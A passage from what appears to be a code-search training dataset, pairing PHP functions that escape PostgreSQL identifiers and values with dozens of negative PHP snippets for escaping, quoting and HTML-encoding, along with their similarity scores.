"0.60817635", "0.6077625", "0.6073571", "0.60665506", "0.60613656", "0.6056628", "0.605184", "0.6048766", "0.6042875", "0.60393256", "0.6037004", "0.6034818" ]
0.0
-1
////////////////////////////////////////////////////////////////////////// ESCAPE AN IDENTIFIER //////////////////////////////////////////////////////////////////////////
public function identifier($identifier) { return ($this->connection) ? pg_escape_identifier($this->connection, $identifier) : pg_escape_identifier($identifier); }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "public function escapeIdentifier($identifier){ }", "public abstract function escapeIdentifier($identifier);", "public function escapeIdentifier(string $value): string;", "public function quoteIdentifier($text);", "private function identifier()\n {\n // @codingStandardsIgnoreStart\n // Be careful when editing this regex, there are a couple Unicode characters in between here -------------vv\n $match = $this->match('/^(?:[\\$_\\p{L}\\p{Nl}]|\\\\\\\\u[0-9A-Fa-f]{4})(?:[\\$_\\p{L}\\p{Nl}\\p{Mn}\\p{Mc}\\p{Nd}\\p{Pc}‌‍]|\\\\\\\\u[0-9A-Fa-f]{4})*/u');\n // @codingStandardsIgnoreEnd\n\n if ($match === null) {\n $this->throwSyntaxError('Bad identifier as unquoted key');\n }\n\n // Un-escape escaped Unicode chars\n $unescaped = \\preg_replace_callback('/(?:\\\\\\\\u[0-9A-Fa-f]{4})+/', function ($m) {\n return \\json_decode('\"'.$m[0].'\"');\n }, $match);\n\n return $unescaped;\n }", "public function escapeIdentifier($identifier)\n {\n if ($identifier instanceof Expression) {\n return (string)$identifier;\n }\n\n $quote = $this->quotingCharacter;\n $divider = $this->identifierDivider;\n return $quote . str_replace($divider, $quote . $divider . $quote, $identifier) . $quote;\n }", "public function escapeIdentifier($identifier): string {\n\t\treturn $this->sqlAdapter->escapeIdentifier($identifier);\n\t}", "function esc($str) {\n return htmlEnt($str);\n}", "public function escapeIdentifier(string $identifier): string\n {\n if ($identifier === '') {\n throw new \\InvalidArgumentException('Identifier cannot be blank');\n }\n\n $escaper = function (string $identifier): string {\n return '`' . str_replace('`', '``', $identifier) . '`';\n };\n\n $qualifiedIdentifiers = array_map($escaper, explode('.', $identifier));\n return implode('.', $qualifiedIdentifiers);\n }", "function esc($value)\n{\n return htmlentities($value);\n}", "public function test_escaping() \n\t{\n\t\tCCRouter::on( 'this/u$l/conta([num])n+special/[any]', function(){\n\t\t\techo \"Escaping works\";\n\t\t});\n\t\t\n\t\t$response = CCRequest::uri( 'this/u$l/conta(1)n+special/chars' )->perform()->response()->body;\n\t\t$this->assertEquals( $response , \"Escaping works\" );\n\t}", "protected function _escapeIdentifiers($item)\n {\n if ($this->_escape_char == '') {\n return $item;\n }\n\n foreach ($this->_reserved_identifiers as $id) {\n if (strpos($item, '.'.$id) !== false) {\n $str = $this->_escape_char.str_replace('.', $this->_escape_char.'.', $item);\n\n // remove duplicates if the user already included the escape\n return preg_replace('/['.$this->_escape_char.']+/', $this->_escape_char, $str);\n }\n }\n\n if (strpos($item, '.') !== false) {\n $str = $this->_escape_char.str_replace('.', $this->_escape_char.'.'.$this->_escape_char, $item).$this->_escape_char;\n } else {\n $str = $this->_escape_char.$item.$this->_escape_char;\n }\n\n // remove duplicates if the user already included the escape\n return preg_replace('/['.$this->_escape_char.']+/', $this->_escape_char, $str);\n }", "public function quote_identifier($identifier)\n {\n }", "private static function esc($char)\n {\n static $autoEscape = array(\n \"{\" => true,\n \"}\" => true,\n \"[\" => true,\n \"]\" => true,\n \"^\" => true,\n \"$\" => true,\n \"?\" => true,\n \":\" => true,\n \"/\" => true,\n \"\\\\\" => true,\n );\n if(isset($autoEscape[$char])) {\n return \"\\\\\" . $char;\n }\n else {\n return $char;\n }\n }", "protected static function _escapeChar($matches) {}", "function attribute_escape($text)\n {\n }", "public static function escape($som) {}", "function tag_escape($tag_name)\n {\n }", "public function protectIdentifiers($item)\n\t{\n\t\treturn trim(preg_replace('/([\\w-\\$]+)/', $this->IDENT_CHAR.'$1'.$this->IDENT_CHAR, $item));\n\t}", "protected function identifier($ch) {\n $idkw = parent::identifier($ch);\n return ($idkw == EPL_T_IDENTIFIER) ? EPQ_T_IDENTIFIER : $idkw;\n }", "function esc_like($text)\n{\n return addcslashes($text, '_%\\\\');\n}", "protected function quote_char()\n {\n }", "public function escape(string $str): string;", "public function escField($key,$default_val = null){\n return new Escape($this->getField($key,$default_val));\n }", "public static function escape($value) {}", "public function escape($text);", "function correctIdentifier($identifier) {\n $search = array(' ', ':', '.', '/');\n $replace = array('_', '_', '_', '-');\n return str_replace($search, $replace, $identifier);\n}", "function _ident($i) {\n # identifer, we just drop them. The manual does not say whether backslash\n # escapes are interpreted in quoted identifiers, so I assume they are not.\n return str_replace('`', '', $i);\n }", "function _escapeToken($token, $chars = null) {\n\t\t$regex = '/(['.join('', $this->_tokenEscapeChars(true, $chars)).'])/';\n\t\t$token = preg_replace($regex, '\"\\\\1\"', $token);\n\t\treturn $token;\n\t}", "abstract protected function _escape($s);", "abstract public function escapeString($value);", "public function escape($value);", "public function escape($value);", "public abstract function escape($string);", "public function likeEscape(string $keyword): string;", "abstract public function escape_string( $str );", "protected function escapeCharacter () : string {\n return '\\\\';\n }", "public function e()\n\t{\n\t\treturn $this->escape();\n\t}", "public abstract function escapeString($value);", "function qa_lang_sub($identifier, $textparam, $symbol = '^')\n{\n\treturn str_replace($symbol, $textparam, qa_lang($identifier));\n}", "private function actionscriptEscape($text) {\n\t\t$needles = array('_','-','.');\n\t\t$replaces = array('%5F','%2D','%2E');\n\t\treturn str_replace($needles,$replaces,rawurlencode($text));\n\t}", "public function newIdentifier(): string;", "public static function escape($s) {}", "public function addEscape($func);", "public function aim_encode($data)\r\n\t{\r\n\t\treturn '\"' . preg_replace(\"/([\\\\\\}\\{\\(\\)\\[\\]\\$\\\"])/\", \"\\\\\\\\\\\\1\", $data) . '\"';\r\n\t}", "private static function _escapeTagChar($matches) {}", "public function getIdentifier() {\n\n\t\treturn parent::getIdentifier() . '_' . parent::getValue();\n\t}", "public function escape(&$data)\n {\n }", "public function _escape($data)\n {\n }", "static public function esc($txt) {\n return htmlspecialchars($txt);\n }", "static function html_id($name)\r\n\t{\r\n\t\tglobal $smcFunc;\r\n\t\t\r\n\t\t$name = str_replace(array('%3A', '+', '%'), array(':', '_', '.'), urlencode(un_htmlspecialchars($name)));\r\n\t\t\r\n\t\twhile($name[0] == '.')\r\n\t\t\t$name = substr($name, 1);\r\n\t\treturn $name;\r\n\t}", "public function getEscapeCharacter()\n {\n return $this->escape_character;\n }", "function h($text) {\r\n echo(htmlspecialchars($text, ENT_QUOTES));\r\n }", "function ezafi_form($s) {\n if (substr($s, -2) == \"\\xd9\\x87\") // HEH\n return $s.\"\\xe2\\x80\\x8c\\xdb\\x8c\"; // ZWNJ+YEH\n else\n return $s;\n}", "function Escape($Var , $Method)\n{\n if($Method == \"ENCODE\")\n return @strtr($Var, array(\n \"\\0\" => \"\",\n \"'\" => \"&#39;\",\n \"\\\"\" => \"&#34;\",\n \"\\\\\" => \"&#92;\",\n \n // More Secure\n \"<\" => \"&lt;\",\n \">\" => \"&gt;\"\n ));\n \n else if($Method == \"DECODE\")\n return html_entity_decode($Var) ;\n}", "function getIdentifier() ;", "function getIdentifier() ;", "protected function enclosureCharacter () : string {\n return '\"';\n }", "function getIdentifier() ;", "public function getIdentifier(): string\n {\n return self::IDENTIFIER;\n }", "public function getIdentifier(): string\n {\n return self::IDENTIFIER;\n }", "public function getQuoteChar();", "function escape($data) {\n\t\tif ( !isset($data) ) return '';\n if ( is_numeric($data) ) return $data;\n\n $non_displayables = array(\n '/%0[0-8bcef]/', // url encoded 00-08, 11, 12, 14, 15\n '/%1[0-9a-f]/', // url encoded 16-31\n '/[\\x00-\\x08]/', // 00-08\n '/\\x0b/', // 11\n '/\\x0c/', // 12\n '/[\\x0e-\\x1f]/' // 14-31\n );\n \n foreach ( $non_displayables as $regex )\n $data = preg_replace( $regex, '', $data );\n $search = array(\"\\\\\", \"\\x00\", \"\\n\", \"\\r\", \"'\", '\"', \"\\x1a\");\n $replace = array(\"\\\\\\\\\",\"\\\\0\",\"\\\\n\", \"\\\\r\", \"\\'\", '\\\"', \"\\\\Z\");\n\n return str_replace($search, $replace, $data);\n\t}", "public function escape($string);", "public function escape($string);", "public function quoteSingleIdentifier($str)\n {\n $c = '\"';//$this->getIdentifierQuoteCharacter();\n\n return $c . str_replace($c, $c . $c, $str) . $c;\n }", "function h($value){\n return htmlspecialchars($value, ENT_QUOTES);\n }", "function e($str) {\n echo htmlspecialchars($str, ENT_QUOTES);\n}", "public static function unescape($value) {}", "function qa_lang_html_sub($identifier, $htmlparam, $symbol = '^')\n{\n\treturn str_replace($symbol, $htmlparam, qa_lang_html($identifier));\n}", "public function identifier(string $identifier);", "protected function quote_escaped()\n {\n }", "function h($text_to_escape){\n\treturn htmlspecialchars($text_to_escape, ENT_NOQUOTES | ENT_IGNORE, 'UTF-8');\n}", "function fromexp(){return \"`{$this->entity->name}`\"; }", "public function getStringQuotingCharacter(): CharacterInterface;", "function like_escape($text)\n {\n }", "public function quoteIdentifier($str)\n {\n return $this->getDatabasePlatform()->quoteIdentifier($str);\n }", "public function getAsciiReplace();", "function ifx_create_char($param)\n{\n}", "function ps_escape_string($str, $as_token = false, $esc_quotes = false) {\n $s = '';\n foreach (str_split($str) as $c) {\n if (($i = strpos(\"\\n\\r\\t\\10\\f\\\\()\", $c)) !== false)\n $c = '\\\\' . 'nrtbf\\\\()'[$i]; // postscript escapes, see PLRM 3.2.2 Literals\n elseif (($o = ord($c)) < 0x20 || $o >= 0x7F)\n $c = sprintf('\\\\%03o', $o); // control & non-ASCII\n elseif ($esc_quotes && $c == '\"')\n $c = '\\\\042'; // octal escape \" (for gs v9 parameters)\n $s .= $c;\n }\n return $as_token ? \"($s)\" : $s;\n}", "public function placeholder_escape()\n {\n }", "public function quoteIdentifier($identifier) {\n if ($this->constructors['protocol'] == 'mysql') {\n return '`'.$identifier.'`';\n }\n\n // Assuming the rest of the world is ANSI\n return '\"'.$identifier.'\"';\n }", "public function escape($data)\n {\n }", "public function escapeString(string $value): string;", "public function _weak_escape($data)\n {\n }", "public function keyIdentifier64(): string\n {\n $id = substr($this->keyIdentifier(), -8);\n $c = (ord($id[0]) & 0x0f) | 0x40;\n $id[0] = chr($c);\n return $id;\n }", "abstract public function escapeString($string);", "function h($str)\n{\n return htmlspecialchars($str, ENT_QUOTES, 'UTF-8');\n}", "public function quoteIdentifier(string $identifier): string\n {\n // * is special\n if ($identifier === '*') {\n return $identifier;\n }\n\n // escape quotes inside the identifier name\n $identifier = str_replace('\"', '\"\"', $identifier);\n\n // wrap in quotes\n return '\"' . $identifier . '\"';\n }", "function h($s) {\n return htmlspecialchars($s, ENT_QUOTES, 'UTF-8');\n}", "protected function escape( $value )\n\t{\n\t\treturn e( $value );\n\t}", "private function generateIdentifierName($identifier)\n {\n // Always generate name for unquoted identifiers to ensure consistency.\n $identifier = new Identifier($identifier);\n\n return strtoupper(dechex(crc32($identifier->getName())));\n }", "public function getSymbol()\n {\n return \"&sect;\";\n }", "public function quote_ident($ident)\n\t{\n\t\tif (is_array($ident))\n\t\t{\n\t\t\treturn array_map(array($this, __METHOD__), $ident);\n\t\t}\n\n\t\t// Handle comma-separated identifiers\n\t\tif (strpos($ident, ',') !== FALSE)\n\t\t{\n\t\t\t$parts = explode(',', $ident);\n\t\t\t$parts = array_map('mb_trim', $parts);\n\t\t\t$parts = array_map(array($this, __METHOD__), $parts);\n\t\t\t$ident = implode(',', $parts);\n\t\t}\n\n\t\t// Split each identifier by the period\n\t\t$hiers = explode('.', $ident);\n\t\t$hiers = array_map('mb_trim', $hiers);\n\n\t\t// Re-compile the string\n\t\t$raw = implode('.', array_map(array($this, '_quote'), $hiers));\n\n\t\t// Fix functions\n\t\t$funcs = array();\n\t\tpreg_match_all(\"#{$this->escape_char}([a-zA-Z0-9_]+(\\((.*?)\\))){$this->escape_char}#iu\", $raw, $funcs, PREG_SET_ORDER);\n\t\tforeach($funcs as $f)\n\t\t{\n\t\t\t// Unquote the function\n\t\t\t$raw = str_replace($f[0], $f[1], $raw);\n\n\t\t\t// Quote the inside identifiers\n\t\t\t$raw = str_replace($f[3], $this->quote_ident($f[3]), $raw);\n\t\t}\n\n\t\treturn $raw;\n\n\t}", "function h( $s ) {\n return htmlspecialchars($s, ENT_QUOTES, 'utf-8');\n}", "public function getIdentifier() {}", "public function getIdentifier() {}", "public function getIdentifier() {}", "public function getIdentifier() {}", "public function getIdentifier() {}", "public function getIdentifier() {}" ]
[ "0.72648704", "0.7113705", "0.69174135", "0.6501883", "0.6214111", "0.6102529", "0.5949056", "0.5721624", "0.56880367", "0.56687605", "0.56043524", "0.55257374", "0.5515918", "0.5494277", "0.54863787", "0.5481762", "0.54633504", "0.5446142", "0.54418564", "0.5431599", "0.5377061", "0.5338242", "0.5326918", "0.532315", "0.5320867", "0.5313921", "0.5311383", "0.5300479", "0.5281641", "0.5274271", "0.52690166", "0.5261803", "0.5261803", "0.5261312", "0.52549225", "0.5242269", "0.52409184", "0.5237644", "0.52372533", "0.522794", "0.5218162", "0.52165335", "0.5206793", "0.520155", "0.51802504", "0.51765835", "0.51729226", "0.51688737", "0.5168626", "0.51668465", "0.5149492", "0.5148408", "0.51470053", "0.5123542", "0.51172143", "0.51121414", "0.51121414", "0.51111436", "0.5109428", "0.51070184", "0.51070184", "0.5103922", "0.50998497", "0.50935966", "0.50935966", "0.50878435", "0.50855213", "0.5076094", "0.5064572", "0.505399", "0.5052301", "0.50490147", "0.504467", "0.5039945", "0.5034871", "0.5031838", "0.50254923", "0.50151944", "0.50098175", "0.5001907", "0.49921083", "0.4990469", "0.49882877", "0.49824372", "0.49813202", "0.49621853", "0.4957172", "0.4952914", "0.49520037", "0.4948577", "0.49414068", "0.4937245", "0.49341923", "0.49300486", "0.49222907", "0.4921941", "0.4921941", "0.4921941", "0.4921941", "0.4921941", "0.49215364" ]
0.0
-1
////////////////////////////////////////////////////////////////////////// ESCAPE A VALUE //////////////////////////////////////////////////////////////////////////
public function escape($value) { return ($this->connection) ? pg_escape_string($this->connection, $value) : pg_escape_string($value); }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "public static function escape($value) {}", "public function escape($value);", "public function escape($value);", "function esc($value)\n{\n return htmlentities($value);\n}", "protected function escape( $value )\n\t{\n\t\treturn e( $value );\n\t}", "public static function unescape($value) {}", "public abstract function escapeString($value);", "function h($value){\n return htmlspecialchars($value, ENT_QUOTES);\n }", "abstract public function escapeString($value);", "function e($value)\n {\n return htmlspecialchars($value, ENT_QUOTES, 'UTF-8', false);\n }", "public function escape()\n {\n return strval($this);\n }", "public function escField($key,$default_val = null){\n return new Escape($this->getField($key,$default_val));\n }", "function e($value)\n {\n return htmlentities($value, ENT_QUOTES, 'UTF-8', false);\n }", "function e($value)\n {\n return htmlentities($value, ENT_QUOTES, 'UTF-8', false);\n }", "public function escapeString(string $value): string;", "public function getEscapedValue()\n {\n return $this->buildParameterBag()->toString();\n }", "private function T_ECHO($value) {\n\t\treturn 'document.write('.$this->parseUntil(';').');';\n\t}", "function eEx($value)\n {\n return htmlentities($value, ENT_QUOTES, 'UTF-8', false);\n }", "function escape( $val ) {\r\n\r\n\t\tif( !$this->connected )\r\n\t\t\t$this->connect();\r\n\r\n return $this->socket->real_escape_string($val);\r\n\r\n\t}", "function escape($value) {\n return htmlspecialchars($value, ENT_QUOTES, 'UTF-8', false);\n}", "public function escapeValue($value): string {\n\t\treturn $this->sqlAdapter->escapeValue($value);\n\t}", "function e($value)\n{\n\treturn HTML::entities($value);\n}", "public function escape($value)\n\t{\n\t\tswitch(gettype($value))\n\t\t{\n\t\t\tcase 'NULL':\n\t\t\t\t$value = 'NULL';\n\t\t\t\tbreak;\n\t\t\t\t\n\t\t\tcase 'boolean':\n\t\t\t\t$value = $this->escapeBoolean($value);\n\t\t\t\tbreak;\n\t\t\t\n\t\t\tcase 'integer':\n\t\t\tcase 'double':\n\t\t\t\tbreak;\n\t\t\t\n\t\t\tdefault:\n\t\t\t\t$value = '\\''.$this->escapeStr($value).'\\'';\n\t\t\t\tbreak;\n\t\t}\n\t\t\n\t\treturn $value;\n\t}", "function escape($data) {\n\t\tif ( !isset($data) ) return '';\n if ( is_numeric($data) ) return $data;\n\n $non_displayables = array(\n '/%0[0-8bcef]/', // url encoded 00-08, 11, 12, 14, 15\n '/%1[0-9a-f]/', // url encoded 16-31\n '/[\\x00-\\x08]/', // 00-08\n '/\\x0b/', // 11\n '/\\x0c/', // 12\n '/[\\x0e-\\x1f]/' // 14-31\n );\n \n foreach ( $non_displayables as $regex )\n $data = preg_replace( $regex, '', $data );\n $search = array(\"\\\\\", \"\\x00\", \"\\n\", \"\\r\", \"'\", '\"', \"\\x1a\");\n $replace = array(\"\\\\\\\\\",\"\\\\0\",\"\\\\n\", \"\\\\r\", \"\\'\", '\\\"', \"\\\\Z\");\n\n return str_replace($search, $replace, $data);\n\t}", "public function escapeIdentifier(string $value): string;", "public function escape($stringValue);", "public function escape(mixed $value): string\n {\n return htmlspecialchars($value, ENT_QUOTES);\n }", "function escape ($val, $charset = 'UTF-8') {\n\treturn htmlspecialchars ($val, ENT_QUOTES, $charset);\n}", "protected function escape($value): string\n {\n $value = strtr(\n $value,\n [\n '%' => '\\%',\n '_' => '\\_',\n '\\\\' => '\\\\\\\\',\n ]\n );\n\n return '%' . $value . '%';\n }", "public function escape($value)\n\t{\n\t\tif(is_int($value))\n\t\t\treturn $value;\n\t\telse if(is_float($value))\n\t\t\treturn str_replace(',', '.', ''.$value);\n\t\telse\n\t\t\treturn $this->escapeString($value);\n\t}", "protected function _quote($value) {\n if (is_int($value)) {\n return $value;\n } elseif (is_float($value)) {\n return sprintf('%F', $value);\n }\n return \"'\" . addcslashes($value, \"\\000\\n\\r\\\\'\\\"\\032\") . \"'\";\n }", "function escape($value){//XSS attacks protection\n return htmlspecialchars($value , ENT_QUOTES,'UTF-8');\n }", "function esc($str) {\n return htmlEnt($str);\n}", "function escapeString( $value )\r\n\t{\r\n die(\"method \" . __METHOD__ . \" is not implemented\" . Diagnostics::trace());\r\n\t}", "protected function escapePhrase($value) {\n\t\t$pattern = '/(\"|\\\\\\)/';\n\t\t$replace = '\\\\\\$1';\n\n\t\treturn preg_replace($pattern, $replace, $value);\n\t}", "static protected function _quote($value)\n {\n if (is_int($value)) {\n return $value;\n } elseif (is_float($value)) {\n return sprintf('%F', $value);\n }\n return \"'\" . addcslashes($value, \"\\000\\n\\r\\\\'\\\"\\032\") . \"'\";\n }", "public function e()\n\t{\n\t\treturn $this->escape();\n\t}", "function __clearstr($val)\n {\n if (!get_magic_quotes_gpc()) $val = addslashes($val);\n return $val;\n }", "public function escape($value) {\n $connection = $this -> connect();\n return $connection -> real_escape_string(trim($value));\n }", "public static function escapeString($val)\n {\n $toRepl = self::getReservedSymbols();\n \n $with = array();\n \n foreach($toRepl as $char)\n {\n $with[] = \"\\\\$char\";\n }\n\n return str_replace($toRepl, $with, $val);\n }", "public function escape_value($value){\n if($this->real_escape_string_e){\n if($this->magic_quotes_a){\n $value = stripcslashes($value);\n }\n $value = mysql_real_escape_string($value);\n }\n if(!$this->magic_quotes_a){\n $value = addslashes($value);\n }\n return $value;\n }", "function esc_attr($value) {\n return htmlspecialchars($value, ENT_QUOTES);\n }", "function e($value)\n {\n if ($value instanceof Htmlable) {\n return $value->toHtml();\n }\n\n return htmlentities($value, ENT_QUOTES, 'UTF-8', false);\n }", "protected static function _escape($value) {\n if (!is_string($value)) {\n return $value;\n }\n\n return htmlspecialchars($value, ENT_QUOTES, 'UTF-8');\n }", "protected function escapeString($value)\n {\n return $this->entityManager->getConnection()->quote($value);\n }", "function erp_print_key_value( $label, $value, $sep = ' : ', $type = 'text' ) {\n if ( empty( $value ) ) {\n $value = '&mdash;';\n\n } else {\n switch ( $type ) {\n case 'email':\n case 'url':\n case 'phone':\n $value = erp_get_clickable( $type, $value );\n break;\n }\n }\n\n printf(\n '<label>%s</label> <span class=\"sep\">%s</span> <span class=\"value\">%s</span>',\n wp_kses_post( $label ),\n esc_html( $sep ),\n wp_kses_post( $value )\n );\n}", "public static function escape($value) {\n return slDatabaseManager::getConnection()->escape($value);\n }", "function escape($value) {\n\t\treturn $this->mysql_client->escape_string($value);\n\t}", "function e($value, $doubleEncode = true)\n {\n if ($value instanceof Htmlable) {\n return $value->toHtml();\n }\n\n return htmlspecialchars($value, ENT_QUOTES, 'UTF-8', $doubleEncode);\n }", "function esc(String $value)\n{\n\t// bring the global db connect object into function\n\tglobal $conn;\n\n\t$val = trim($value); // remove empty space sorrounding string\n\t$data = stripslashes($val);\n\t$data = htmlspecialchars($data);\n\t$val = mysqli_real_escape_string($conn, $value);\n\n\treturn $data;\n}", "protected function echoRaw($value) {\r\n\t\t$this->autoencodeFormat -= 0xFFFF;\r\n\t\techo $value;\r\n\t\t$this->autoencodeFormat += 0xFFFF;\r\n\t}", "function js_escape($value)\n{\n return Zend_Json::encode($value);\n}", "public static function clear_value($v)\n\t{\n\t\tif(!$v)\n\t\t\treturn '';\n\t\tself::nl($v);\n\t\t$v = str_replace('&#032;',' ',$v);\n\t\t$v = str_replace('&#8238;','',$v);\n\t\t$v = str_replace('&','&amp;',$v);\n\t\t$v = str_replace('<!--','&#60;&#33;--',$v);\n\t\t$v = str_replace('-->','--&#62;',$v);\n\t\t$v = preg_replace('/<script/i','&#60;script',$v);\n\t\t$v = str_replace('>','&gt;',$v);\n\t\t$v = str_replace('<','&lt;',$v);\n\t\t$v = str_replace('\"','&quot;',$v);\n\t\t$v = str_replace(\"\\n\",'<br />',$v);\n\t\t$v = str_replace('$','&#036;',$v);\n\t\t$v = str_replace('!','&#33;',$v);\n\t\t$v = str_replace(\"'\",'&#39;',$v);\n\t\t##\n\t\t$v = preg_replace('/&amp;#([0-9]+);/s','&#\\\\1;',$v);\n\t\t$v = preg_replace('/&#(\\d+?)([^\\d;])/i','&#\\\\1;\\\\2',$v);\n\t\t##\n\t\treturn $v;\n\t}", "public static function exportVar($value): string\n {\n return static::getEncoder()->encode($value);\n }", "public static function legacyEscape( $val )\n\t{\n \t$val = str_replace( \"&\"\t\t\t, \"&amp;\" , $val );\n \t$val = str_replace( \"<!--\"\t\t, \"&#60;&#33;--\" , $val );\n \t$val = str_replace( \"-->\"\t\t, \"--&#62;\" , $val );\n \t$val = str_ireplace( \"<script\"\t, \"&#60;script\" , $val );\n \t$val = str_replace( \">\"\t\t\t, \"&gt;\" , $val );\n \t$val = str_replace( \"<\"\t\t\t, \"&lt;\" , $val );\n \t$val = str_replace( '\"'\t\t\t, \"&quot;\" , $val );\n \t$val = str_replace( \"\\n\"\t\t, \"<br />\" , $val );\n \t$val = str_replace( \"$\"\t\t\t, \"&#036;\" , $val );\n \t$val = str_replace( \"!\"\t\t\t, \"&#33;\" , $val );\n \t$val = str_replace( \"'\"\t\t\t, \"&#39;\" , $val );\n \t$val = str_replace( \"\\\\\"\t\t, \"&#092;\" , $val );\n \t\n \treturn $val;\n\t}", "function html_escape($v) {\n\treturn escape($v, TRUE);\n}", "public function escapeString($value)\n\t{\n\t\tif (is_object($value)) {\n\t\t\t$id = $this->getObjectIdentifier($value, 'id');\n\t\t\t$properties = (new Reflection_Class(get_class($value)))->getAnnotedProperties(\n\t\t\t\tStore_Annotation::ANNOTATION, Store_Annotation::FALSE\n\t\t\t);\n\t\t\tif ($properties) {\n\t\t\t\t$value = clone $value;\n\t\t\t\tforeach (array_keys($properties) as $property_name) {\n\t\t\t\t\tunset($value->$property_name);\n\t\t\t\t}\n\t\t\t}\n\t\t\t$value = is_numeric($id) ? $id : serialize($value);\n\t\t}\n\t\treturn $this->connection->escape_string($value);\n\t}", "public static function unescapeString($val)\n {\n $with = self::getReservedSymbols();\n \n $toRepl = array();\n \n foreach($with as $char)\n {\n $toRepl[] = \"\\\\$char\";\n }\n \n return str_replace($toRepl, $with, $val);\n }", "public function escape($value)\n {\n // SQL standard is to use single-quotes for all values\n return \"'$value'\";\n }", "public function setSafeValue($value)\n {\n return htmlspecialchars(stripslashes($value));\n }", "public function placeholder_escape()\n {\n }", "static public function quoteKey($value)\n {\n if (is_int($value)) {\n return $value;\n } elseif (is_float($value)) {\n return sprintf('%F', $value);\n }\n return \"`\" . addcslashes($value, \"\\000\\n\\r\\\\'\\\"\\032\") . \"`\";\n }", "public function Escape($value)\n {\n $this->connect();\n if($value===null)\n {\n $value='NULL';\n } else if(!is_numeric($value))\n {\n $value=\"'\".mysqli_real_escape_string(self::$_link, $value).\"'\";\n }\n return $value;\n }", "public function setEscape($value)\n {\n $this->escape = $value;\n\n return $this;\n }", "protected static function placeholderEscape($value) {\n return $value instanceof MarkupInterface ? (string) $value : Html::escape($value);\n }", "public function ascii( $value ) {\n\t\t$foreign = $this->ascii;\n\n\t\t$value = preg_replace( array_keys( $foreign ), array_values( $foreign ), $value );\n\n\t\treturn preg_replace( '/[^\\x09\\x0A\\x0D\\x20-\\x7E]/', '', $value );\n\t}", "function e($value, $doubleEncode = false)\n {\n if ($value instanceof \\Illuminate\\Contracts\\Support\\Htmlable) {\n return $value->toHtml();\n }\n\n return htmlspecialchars($value, ENT_QUOTES, 'UTF-8', $doubleEncode);\n }", "public static function escape($som) {}", "public function escape_value($type,$value=null)\n\t{\n\t\tif ($value==null)\n\t\t\t$value=$this->value;\n\t\t\n \t\t$value=str_replace(\"'\",\"''\",$value);\n\t\t\n\t\tswitch($type)\n\t\t{\n\t\t\tcase Field::STRING:\n\t\t\tcase Field::TEXT:\n\t\t\t\treturn \"'$value'\";\n\t\t\tcase Field::BOOLEAN:\n\t\t\t\treturn ($value) ? \"true\" : \"false\";\n\t\t\tcase Field::OBJECT:\n\t\t\t\treturn \"'\".(($value instanceof DynamicObject) ? $value->to_string() : serialize($value)).\"'\";\n\t\t\tdefault:\n\t\t\t\tif (is_numeric($value))\n\t\t\t\t\treturn $value;\n\t\t\t\telse\n\t\t\t\t\treturn \"'$value'\";\n\t\t}\n\t}", "function esc(String $value){\n global $conn;\n $val = trim($value); // remove empty space sorrounding string\n $val = mysqli_real_escape_string($conn, $value);\n return $val;\n }", "private function parseValue($value) {\n return htmlspecialchars(html_entity_decode($value));\n }", "public function addSlashes(&$value){\nreturn $value = \"'$value'\";\n}", "protected function echoHtml($value) {\r\n\t\t$this->autoencodeFormat -= 0xFFFF;\r\n\t\techo $value === null ? '' : \\htmlspecialchars($value, \\ENT_QUOTES, 'UTF-8');\r\n\t\t$this->autoencodeFormat += 0xFFFF;\r\n\t}", "public function getValueEncoded($field) {\n return htmlspecialchars($this->getValue($field));\n}", "public function e($value, $doubleEncode = true)\n {\n return htmlspecialchars($value, ENT_QUOTES, 'UTF-8', $doubleEncode);\n }", "private function htmlspecialcarfy(&$value) {\r\n $value = htmlspecialchars($value);\r\n }", "function e($value, $flags = null, $encoding = \"UTF-8\") {\n\n\treturn htmlentities($value, ($flags === null) ? (defined('ENT_HTML401') ? ENT_QUOTES|ENT_HTML401 : ENT_QUOTES) : $flags, $encoding);\n\n}", "protected function quote_escaped()\n {\n }", "public function _escape($data)\n {\n }", "public static function escape($s) {}", "function escapeJsonString($value) {\n $escapers = array(\"\\\\\", \"/\", \"\\\"\", \"\\0\", \"\\u\", \" \", \"\\n\", \"\\r\", \"\\t\", \"\\x08\", \"\\x0c\");\n $replacements = array(\"\\\\\\\\\", \"\\\\/\", \"\\\\\\\"\", \" \", \"\", \" \", \"\\\\n\", \"\\\\r\", \"\\\\t\", \"\\\\f\", \"\\\\b\");\n $result = str_replace($escapers, $replacements, $value);\n return $result;\n }", "protected function escapeDouble($value)\n {\n return (string) $value;\n }", "protected function encryptValue($value){ \n $cipher = $this->handler->encrypt($value);\n return base64_encode($cipher);\n }", "public function escape($data)\n {\n }", "protected function value_char()\n {\n }", "function add_quote($value) {\n\t\treturn '\"' . addslashes($value) . '\"';\n\t}", "public function escape(&$data)\n {\n }", "function escapeValue($value) {\r\n\r\n $result = \"\";\r\n \r\n for ($i=0;$i<strlen($value);$i++) {\r\n \r\n $char = substr($value,$i,1);\r\n if ($char == \"-\") $result .= \"-\";\r\n elseif ($char == \".\") $result .= \".\";\r\n elseif (($char >= \"0\") && ($char <= \"9\")) $result .= $char;\r\n \r\n }\r\n \r\n if ($result == \"\") $result = \"0\";\r\n \r\n return $result;\r\n\r\n}", "public static function escape( $value=\"\", $char=\"'\" )\n {\n $value = Sanitize::toString( $value );\n $value = self::unescape( $value );\n $value = str_replace( $char, \"\\\\\".$char, $value );\n return $value;\n }", "static protected function escape($value, $charset = 'utf-8'){\r\n\t\tif (!is_string($value)){\r\n\t\t\treturn $value;\r\n\t\t}\r\n\t\treturn htmlspecialchars($value, ENT_QUOTES, $charset);\r\n\t}", "public static function unescape( $value=\"\" )\n {\n $value = Sanitize::toString( $value );\n $value = stripslashes( implode( \"\", explode( \"\\\\\", $value ) ) );\n return $value;\n }", "public function escape($text);", "public function quote($value){\n $connection = $this -> connect();\n return pg_escape_literal($value);\n }", "function checkRealEscapeString($value);", "protected function escapeCharacter () : string {\n return '\\\\';\n }", "public function enc($val)\n {\n\n return rawurlencode($val);\n }", "function esc(String $value){\n\t// bring the global db connect object into function\n\tglobal $connection;\n\t// remove empty space sorrounding string\n\t$val = trim($value); \n\t$val = mysqli_real_escape_string($connection, $value);\n\treturn $val;\n}", "protected function quote(?string $value): string {\n\n\t\t\t$quote = $this->quoteInputEncoded;\n\n\t\t\tif ($value === null)\n\t\t\t\treturn \"{$quote}{$quote}\";\n\n\t\t\t$value = str_replace($quote, \"{$quote}{$quote}\", $value);\n\n\t\t\treturn \"{$quote}{$value}{$quote}\";\n\t\t}", 